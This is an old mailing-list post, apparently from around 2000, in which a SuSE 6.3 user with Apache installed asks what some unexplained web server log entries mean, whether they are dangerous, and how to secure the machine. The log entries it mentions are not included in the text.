Web server security holes ?

Dear All,

I am quite concerned about security, and I think my machine is doing well
with respect to all usual services as telnet, FTP, etc...

Unfortunately I am not very experienced with web servers, and have the standard
features of SuSE 6.3 installed (Apache, I think).
On two of my machines I got the following log entries in http.acces_log/
error_log

- What does it mean ?
- Is it dangerous for the machine ?
- Can I further secure my machine ?
PS: I do NOT need the machine beeing accessible by external machines in HTTP

Thank you for explaining these things to me ...
